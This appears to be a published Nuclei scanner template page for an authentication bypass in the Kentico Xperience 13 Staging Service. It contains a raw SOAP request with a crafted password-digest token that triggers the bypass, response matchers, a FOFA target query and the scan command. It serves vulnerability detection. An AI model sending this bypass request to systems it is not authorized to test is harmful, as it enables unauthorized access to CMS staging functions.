Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0006)

ID: kentico-13-auth-bypass-wt-2025-0006

Severity: unknown

Author: DhiyaneshDK

Tags: kentico,stag,auth-bypass,xperience13

Description

A security issue exists in Kentico Xperience 13 (before Hotfix 173) when the Staging Service is enabled with username/password authentication. This vulnerability may allow unauthorized access or misuse of staging functionality.

YAML Source

id: kentico-13-auth-bypass-wt-2025-0006

info:
  name: Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0006)
  author: DhiyaneshDK
  severity: unknown
  description: |
    A security issue exists in Kentico Xperience 13 (before Hotfix 173) when the Staging Service is enabled with username/password authentication. This vulnerability may allow unauthorized access or misuse of staging functionality.
  reference:
    - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0006
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Kentico-CMS"
  tags: kentico,stag,auth-bypass,xperience13

variables:
  rand: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData"

        <?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Header>
                    <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
                <wsse:UsernameToken>
                    <wsse:Username>y3t4kallxq</wsse:Username>
                    <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">6dfzCOJsdj5Aw+1rGzwoHadPFTQ=</wsse:Password>
                    <wsse:Nonce>4JX/SboVYnxbh8hm3ySQdIUJtFK9cqUh</wsse:Nonce>
                    <wsu:Created>2025-03-10T20:11:07Z</wsu:Created>
                        </wsse:UsernameToken>
                    </wsse:Security>
                </soap:Header>
                <soap:Body>
                    <ProcessSynchronizationTaskData xmlns="http://localhost/SyncWebService/SyncServer">
                        <stagingTaskData><![CDATA[<{{rand}}>]]></stagingTaskData>
                    </ProcessSynchronizationTaskData>
                </soap:Body>
            </soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{rand}}"
          - "<wsa:Action>"
        condition: and

      - type: word
        part: body
        words:
          - "Site not running"
          - "SyncServer.ErrorLicense"
          - "SyncServer.ErrorServiceNotEnabled"
          - "Staging service is not enabled on this server"
          - "Staging does not work with blank password"
          - "Missing X509 certificate token"
          - "The security token could not be authenticated or authorized"
        condition: or
        negative: true

      - type: word
        part: content_type
        words:
          - "text/xml"
# digest: 490a00463044022016bce7b8e56549f003dc0f8a4f7529af88bbfe41a6d05e58e7cbe39982cdd655022066b3c96ebb1794ebe9cc6c7078608bfe90ec1319e46bf2b94b4c5f42db74d4a6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/kentico-13-auth-bypass-wt-2025-0006.yaml"

View on Github